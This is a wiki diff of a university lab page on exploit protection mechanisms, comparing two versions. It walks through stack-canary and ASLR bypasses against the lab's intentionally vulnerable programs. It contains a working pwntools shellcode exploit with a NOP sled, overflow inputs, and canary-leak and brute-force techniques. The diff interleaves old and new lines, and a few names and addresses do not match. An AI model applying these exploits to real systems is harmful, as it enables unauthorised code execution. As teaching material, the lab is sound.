Differences

This shows you the differences between two versions of the page.

Link to this comparison view

cns:labs:lab-06 [2019/11/02 18:33]
cristina.popescu
cns:labs:lab-06 [2020/11/16 11:01] (current)
dennis.plosceanu [T1. GCC stack protector [1p]]
Line 1: Line 1:
 ====== Lab 06 - Exploit Protection Mechanisms ====== ====== Lab 06 - Exploit Protection Mechanisms ======
  
-===== Resources ===== 
- 
-  * [[http://​phrack.org/​issues/​59/​9.html#​article|Bypassing PaX ASLR protection]] 
-  * [[http://​security.stackexchange.com/​questions/​20497/​stack-overflows-defeating-canaries-aslr-dep-nx|Stack Overflows - Defeating Canaries, ASLR, DEP, NX]] 
-  * [[https://​www.corelan.be/​index.php/​2009/​09/​21/​exploit-writing-tutorial-part-6-bypassing-stack-cookies-safeseh-hw-dep-and-aslr/​|Bypassing Stack Cookies, SafeSeh, SEHOP, HW DEP and ASLR]] 
-  * [[https://​lwn.net/​Articles/​584225/​|"​Strong"​ stack protection for GCC]] 
-  * [[http://​wiki.osdev.org/​Stack_Smashing_Protector|Stack Smashing Protector]] 
-  * Python: [[https://​docs.python.org/​2/​library/​random.html|random]],​ [[https://​docs.python.org/​2/​library/​subprocess.html|subprocess]] 
-  * pwntools: [[http://​docs.pwntools.com/​en/​stable/​tubes/​processes.html|Processes]],​ [[http://​docs.pwntools.com/​en/​stable/​tubes.html|tubes]] 
-  * [[http://​man7.org/​linux/​man-pages/​man2/​execve.2.html|man execve]] 
- 
-===== Lab Support Files ===== 
- 
-We will use this [[http://​elf.cs.pub.ro/​oss/​res/​labs/​lab-06.tar.gz|lab archive]] throughout the lab. 
- 
-Please download the lab archive an then unpack it using the commands below: 
-<code bash> 
-student@mjolnir:​~$ wget http://​elf.cs.pub.ro/​oss/​res/​labs/​lab-06.tar.gz 
-student@mjolnir:​~$ tar xzf lab-06.tar.gz 
-</​code>​ 
- 
-After unpacking we will get the ''​lab-06/''​ folder that we will use for the lab: 
-<code bash> 
-student@mjolnir:​~$ cd lab-06/ 
-student@mjolnir:​~:/​lab-06$ ls 
-buf    Makefile ​   vulnerable2 ​   vulnerable3 ​   vulnerable.c 
-buf.c  vulnerable ​ vulnerable2.c ​ vulnerable3.c 
- 
-</​code>​ 
  
 ===== Introduction:​ Protection Mechanisms ===== ===== Introduction:​ Protection Mechanisms =====
Line 148: Line 119:
  
   * Stack canaries only protect against //buffer overflows//​. Arbitrary memory writes (e.g. to offsets that can be controlled by the attacker) may be crafted so that they do not touch the canary value.   * Stack canaries only protect against //buffer overflows//​. Arbitrary memory writes (e.g. to offsets that can be controlled by the attacker) may be crafted so that they do not touch the canary value.
-  * Stack canaries are vulnerable to the same set of attacks as ASLR. Guessing the canary value, e.g. through an information leak or through brute force, is possible and will bypass the attack. Modifying the reference value is also (at least theoretically) possible (the value may be held [[http://​wiki.osdev.org/​Stack_Smashing_Protector#​Implementation|in a global variable]], in which case the attacker regains complete control of the stack.+  * Stack canaries are vulnerable to the same set of attacks as ASLR. Guessing the canary value, e.g. through an information leak or through brute force, is possible and will bypass the attack. Modifying the reference value is also (at least theoretically) possible (the value may be held [[http://​wiki.osdev.org/​Stack_Smashing_Protector#​Implementation|in a global variable]], in which case the attacker regains complete control of the stack).
 </​note>​ </​note>​
 ===== Tutorials ===== ===== Tutorials =====
-==== T1. GCC stack protector ​[1p] ====+ 
 +All content necessary for the CNS laboratory tasks can be found in [[cns:​resources:​repo|the CNS public repository]].  
 + 
 +==== T1. GCC stack protector ====
  
 Take a look at ''​vulnerable.c''​ in the [[http://​elf.cs.pub.ro/​oss/​res/​labs/​lab-06.tar.gz|lab archive]]. We are interested in particular in the ''​%%get_user_input%%''​ function, which ''​read''​s from standard input into a local buffer more bytes than are available: Take a look at ''​vulnerable.c''​ in the [[http://​elf.cs.pub.ro/​oss/​res/​labs/​lab-06.tar.gz|lab archive]]. We are interested in particular in the ''​%%get_user_input%%''​ function, which ''​read''​s from standard input into a local buffer more bytes than are available:
Line 175: Line 149:
 cc -m32 -c -m32 -Wall -Wextra -Wno-unused-function -Wno-unused-variable -g -O0 -fno-stack-protector -o vulnerable.o vulnerable.c cc -m32 -c -m32 -Wall -Wextra -Wno-unused-function -Wno-unused-variable -g -O0 -fno-stack-protector -o vulnerable.o vulnerable.c
 cc -m32 -z execstack ​ vulnerable.o ​  -o vulnerable cc -m32 -z execstack ​ vulnerable.o ​  -o vulnerable
-$ python -c 'print "​A"​*20'​ | ./​vulnerable+$ python -c 'print("​A"​*20)' | ./​vulnerable
 Segmentation fault Segmentation fault
 $ dmesg | tail -n 1 $ dmesg | tail -n 1
Line 192: Line 166:
  
 <​code>​ <​code>​
-$ python -c 'print "​A"​*20'​ | ./​vulnerable-ssp+$ python -c 'print("​A"​*20)' | ./​vulnerable-ssp
 *** stack smashing detected ***: ./​vulnerable-ssp terminated *** stack smashing detected ***: ./​vulnerable-ssp terminated
 ======= Backtrace: ========= ======= Backtrace: =========
Line 248: Line 222:
  
 <code asm> <code asm>
-$ SHELLCODE=$(python -c 'print "​C"​ * 1000') gdb -q ./​vulnerable+$ SHELLCODE=$(python -c 'print("​C"​ * 1000)') gdb -q ./​vulnerable
 Reading symbols from ./​vulnerable...done. Reading symbols from ./​vulnerable...done.
-gdb-peda$ r < <(python -c 'print "​A"​ * 16 + "​BBBB"'​)+gdb-peda$ r < <(python -c 'print("​A"​ * 16 + "​BBBB"​)')
 ... ...
-EIP0x42424242 ​('BBBB') +RBP0x4141414141414141 ​('AAAAAAAA')
-... +
-Invalid $PC address: 0x42424242+
 ... ...
 Legend: code, data, rodata, value Legend: code, data, rodata, value
Line 260: Line 232:
 0x42424242 in ?? () 0x42424242 in ?? ()
 gdb-peda$ searchmem "​CCCCC" ​                     ​ gdb-peda$ searchmem "​CCCCC" ​                     ​
-Searching for '​CCCCC'​ in: None ranges ​            +Searching for '​CCCCC'​ in: None ranges 
-Found 200 results, display max 200 items: ​        +Found 200 results, display max 200 items: 
-[stack] : 0xffffdbc8 ​('​C'​ <repeats 200 times>​...) +[stack] : 0x7fffffffeba4 ​('​C'​ <repeats 200 times>​...) 
-[stack] : 0xffffdbcd ​('​C'​ <repeats 200 times>​...) +[stack] : 0x7fffffffeba9 ​('​C'​ <repeats 200 times>​...) 
-[stack] : 0xffffdbd2 ​('​C'​ <repeats 200 times>​...) +[stack] : 0x7fffffffebae ​('​C'​ <repeats 200 times>​...) 
-[stack] : 0xffffdbd7 ​('​C'​ <repeats 200 times>​...) +[stack] : 0x7fffffffebb3 ​('​C'​ <repeats 200 times>​...) 
-[stack] : 0xffffdbdc ​('​C'​ <repeats 200 times>​...) +[stack] : 0x7fffffffebb8 ​('​C'​ <repeats 200 times>​...) 
-[stack] : 0xffffdbe1 ​('​C'​ <repeats 200 times>​...)+[stack] : 0x7fffffffebbd ​('​C'​ <repeats 200 times>​...) 
 +[stack] : 0x7fffffffebc2 ('​C'​ <repeats 200 times>​...) 
 ... ...
 </​code>​ </​code>​
Line 274: Line 248:
  
   * The return address is at offset 16 in our input   * The return address is at offset 16 in our input
-  * The ''​SHELLCODE''​ environment variable will be placed at approximately ''​0xffffdbc8''​. We expect this to vary quite a bit though, as the process running under GDB uses a different environment that affects stack addresses (environment variables are also stored on the stack). Moreover, the address will be different when running it under different systems.+  * The ''​SHELLCODE''​ environment variable will be placed at approximately ''​0x7fffffffeba4''​. We expect this to vary quite a bit though, as the process running under GDB uses a different environment that affects stack addresses (environment variables are also stored on the stack). Moreover, the address will be different when running it under different systems.
  
 Given this, we can already write a skeleton for our exploit: Given this, we can already write a skeleton for our exploit:
Line 283: Line 257:
 from pwn import * from pwn import *
  
-# 32-bit Linux +context.binary ​"​./​vulnerable"​
-context(arch='​i386',​ os='​linux'​)+
  
 # Generate vars: a shellcode, return address offset, target address. # Generate vars: a shellcode, return address offset, target address.
 shellcode = asm(shellcraft.sh()) shellcode = asm(shellcraft.sh())
 ret_offset = 16 ret_offset = 16
-target = 0xffffdbc8+target = 0x7fffffffeba4
  
 # Generate process, with SHELLCODE as an env var. # Generate process, with SHELLCODE as an env var.
Line 295: Line 268:
  
 # Craft payload. # Craft payload.
-payload = "​A"​ * ret_offset +payload = b"​A"​ * ret_offset 
-payload += p32(target)+payload += pack(target)
  
 # Send payload. # Send payload.
Line 320: Line 293:
 <​code>​ <​code>​
 $ dmesg | tail $ dmesg | tail
-[20073.274211] vulnerable[11099]: segfault at 19 ip 00000000ffffdbc8 ​sp 00000000ffffde20 ​error 6+[31758.336503] vulnerable[53539]: segfault at 15 ip 00007fffffffeb9a ​sp 00007fffffffed30 ​error 
 +6
 </​code>​ </​code>​
  
-So we don't know //exactly// what happened((We can decode the error code using information in the [[http://​lxr.free-electrons.com/​source/​arch/​x86/​mm/​fault.c#​L30|Linux kernel source code]]. Error code ''​6''​ corresponds to a failed user space write operation, but that doesn'​t help much.)), but we know that most probably the code at ''​0xffffdbc8''​ isn't what we expected. Since finding the exact address is difficult in the absence of an information leak, we will just extend our shellcode by prepending a **NOP sled** to it:+So we don't know //exactly// what happened((We can decode the error code using information in the [[http://​lxr.free-electrons.com/​source/​arch/​x86/​mm/​fault.c#​L30|Linux kernel source code]]. Error code ''​6''​ corresponds to a failed user space write operation, but that doesn'​t help much.)), but we know that most probably the code at ''​0x7fffffffeba4''​ isn't what we expected. Since finding the exact address is difficult in the absence of an information leak, we could just extend our shellcode by prepending a **NOP sled** to it:
  
 <code python> <code python>
-nopsled = "​\x90"​ * 2000 +nopsled = b"​\x90"​ * 2000
-shellcode = asm(shellcraft.sh()) +
-...+
 io = process('​./​vulnerable',​ env= { '​SHELLCODE'​ : nopsled + shellcode }) io = process('​./​vulnerable',​ env= { '​SHELLCODE'​ : nopsled + shellcode })
 +target = io.corefile.env["​SHELLCODE"​]
 +
 +# Craft payload.
 +payload = b"​A"​ * ret_offset
 +payload += pack(target)
 +
 </​code>​ </​code>​
  
Line 346: Line 324:
 </​code>​ </​code>​
  
-<note tip> + 
-In the PRECIS 706 lab room it may happen that the address you found through GDB (something like ''​0xffffd07c''​) will not work. You can use a value more similar to the one we provide from our investigation (''​0xffffdbc8''​). +
-</​note>​+
 ===== Tasks ===== ===== Tasks =====
  
Line 363: Line 340:
  
 <note tip> <note tip>
-Bypassing ASLR through brute-force is possible only because ''​vulnerable''​ is a 32-bit binary, although this technique is technically speaking possible on 64-bit if the attacker can leak //address bits//. The key question to ask here is, **how many bits of entropy** does ASLR yield on our architecture?​+Bypassing ASLR through brute-force is possible only because ''​bruteforce''​ is a 32-bit binary, although this technique is technically speaking possible on 64-bit if the attacker can leak //address bits//. The key question to ask here is, **how many bits of entropy** does ASLR yield on our architecture?​
  
 We can find the answer quickly through empirical means. We've included a program called ''​buf.c''​ in the [[http://​elf.cs.pub.ro/​oss/​res/​labs/​lab-06.tar.gz|lab archive]], which intentionally leaks a stack address. Let's compile it and give it a few runs: We can find the answer quickly through empirical means. We've included a program called ''​buf.c''​ in the [[http://​elf.cs.pub.ro/​oss/​res/​labs/​lab-06.tar.gz|lab archive]], which intentionally leaks a stack address. Let's compile it and give it a few runs:
Line 436: Line 413:
 ==== 2. Stackbleed: infoleak + ASLR bypass ​ ==== ==== 2. Stackbleed: infoleak + ASLR bypass ​ ====
  
-Examine ''​vulnerable2.c''​. This is very similar to ''​vulnerable'',​ only ''​%%get_user_input%%''​ calls ''​read''​ twice:+Examine ''​stackbleed.c''​''​%%get_user_input%%''​ calls ''​read''​ twice:
  
 <code C> <code C>
Line 454: Line 431:
  
 <​code>​ <​code>​
-$ python -c '​import sys; sys.stdout.write("​ABCD"​)'​ | SHELLCODE="​\x90\x90\x90\x90"​ ./vulnerable2 ​| xxd+$ python -c '​import sys; sys.stdout.write("​ABCD"​)'​ | SHELLCODE="​\x90\x90\x90\x90"​ ./stackbleed ​| xxd
 00000000: 4142 4344 d90f d3ff 010a                 ​ABCD...... 00000000: 4142 4344 d90f d3ff 010a                 ​ABCD......
 </​code>​ </​code>​
Line 474: Line 451:
 <​code>​ <​code>​
 log.info("​Canary is: 0x{:​08x}"​.format(unpack(canary,​ '​all',​ endian='​little',​ sign=False))) log.info("​Canary is: 0x{:​08x}"​.format(unpack(canary,​ '​all',​ endian='​little',​ sign=False)))
 +</​code>​
 +
 +Or, if you set the context properly (e.g. ''​context.binary = "​./​stackbleed"''​),​ you can skip the arguments to ''​unpack'':​
 +<​code>​
 +log.info("​Canary is: 0x{:​08x}"​.format(unpack(canary)))
 </​code>​ </​code>​
 </​note>​ </​note>​
 ==== 3. Extra: infoleak + stack canary bypass ​ ==== ==== 3. Extra: infoleak + stack canary bypass ​ ====
  
-Examine ''​vulnerable3.c''​ and the resulting ''​vulnerable3''​ executable file. It is once again very similar to the previous incarnations,​ but we will use it for something somewhat different: leaking the stack canary and bypassing it.+Examine ''​canary.c''​ and the resulting ''​canary''​ executable file. It is once again very similar to the previous incarnations,​ but we will use it for something somewhat different: leaking the stack canary and bypassing it.
  
 Knowing that ''​buf'''​s size is 4, we want to determine exactly where the canary value starts. For now, let's take a look at ''​vulnerable3''​ with GDB: Knowing that ''​buf'''​s size is 4, we want to determine exactly where the canary value starts. For now, let's take a look at ''​vulnerable3''​ with GDB:
  
 <code asm> <code asm>
-$ gdb -q ./vulnerable3+$ gdb -q ./canary
 Reading symbols from ./​vulnerable3...done. Reading symbols from ./​vulnerable3...done.
 gdb-peda$ pdis get_user_input gdb-peda$ pdis get_user_input
Line 514: Line 496:
 <​code>​ <​code>​
 gdb-peda$ b *0x08048497 gdb-peda$ b *0x08048497
-Breakpoint 1 at 0x8048497: file vulnerable3.c, line 8.+Breakpoint 1 at 0x8048497: file canary.c, line 8.
 gdb-peda$ r < <(echo -n "​AAAA\n"​) gdb-peda$ r < <(echo -n "​AAAA\n"​)
 ... ...
Line 525: Line 507:
 <​code>​ <​code>​
 $ # we give "​ABCD"​ as an input $ # we give "​ABCD"​ as an input
-$ python -c '​import sys; sys.stdout.write("​ABCD"​)'​ | ./vulnerable3 ​| xxd+$ python -c '​import sys; sys.stdout.write("​ABCD"​)'​ | ./canary ​| xxd
 00000000: 4142 4344 0a                             ABCD. 00000000: 4142 4344 0a                             ABCD.
 $ # we give "​ABCD\n"​ as an input $ # we give "​ABCD\n"​ as an input
-$ python -c '​import sys; sys.stdout.write("​ABCD\n"​)'​ | ./vulnerable3 ​| xxd +$ python -c '​import sys; sys.stdout.write("​ABCD\n"​)'​ | ./canary ​| xxd 
-*** stack smashing detected ***: ./vulnerable3 ​terminated+*** stack smashing detected ***: ./canary ​terminated
 ... ...
 00000000: 4142 4344 0a7e 3d76 010a                 ​ABCD.~=v.. 00000000: 4142 4344 0a7e 3d76 010a                 ​ABCD.~=v..
Line 549: Line 531:
 You will use the random generation and loop for starting a process tube from [[#​brute-force_aslr_bypass_3p|Task 1: Brute-force ASLR bypass]] with the information leak and payload crafting from [[#​extrainfoleak_stack_canary_bypass_2p|Task 3: infoleak + stack canary bypass]]. You will use the random generation and loop for starting a process tube from [[#​brute-force_aslr_bypass_3p|Task 1: Brute-force ASLR bypass]] with the information leak and payload crafting from [[#​extrainfoleak_stack_canary_bypass_2p|Task 3: infoleak + stack canary bypass]].
 </​note>​ </​note>​
 +
 +===== Resources =====
 +
 +  * [[http://​phrack.org/​issues/​59/​9.html#​article|Bypassing PaX ASLR protection]]
 +  * [[http://​security.stackexchange.com/​questions/​20497/​stack-overflows-defeating-canaries-aslr-dep-nx|Stack Overflows - Defeating Canaries, ASLR, DEP, NX]]
 +  * [[https://​www.corelan.be/​index.php/​2009/​09/​21/​exploit-writing-tutorial-part-6-bypassing-stack-cookies-safeseh-hw-dep-and-aslr/​|Bypassing Stack Cookies, SafeSeh, SEHOP, HW DEP and ASLR]]
 +  * [[https://​lwn.net/​Articles/​584225/​|"​Strong"​ stack protection for GCC]]
 +  * [[http://​wiki.osdev.org/​Stack_Smashing_Protector|Stack Smashing Protector]]
 +  * Python: [[https://​docs.python.org/​2/​library/​random.html|random]],​ [[https://​docs.python.org/​2/​library/​subprocess.html|subprocess]]
 +  * pwntools: [[http://​docs.pwntools.com/​en/​stable/​tubes/​processes.html|Processes]],​ [[http://​docs.pwntools.com/​en/​stable/​tubes.html|tubes]]
 +  * [[http://​man7.org/​linux/​man-pages/​man2/​execve.2.html|man execve]]
 +
cns/labs/lab-06.1572712406.txt.gz · Last modified: 2019/11/02 18:33 by cristina.popescu
CC Attribution-Share Alike 3.0 Unported
www.chimeric.de Valid CSS Driven by DokuWiki do yourself a favour and use a real browser - get firefox!! Recent changes RSS feed Valid XHTML 1.0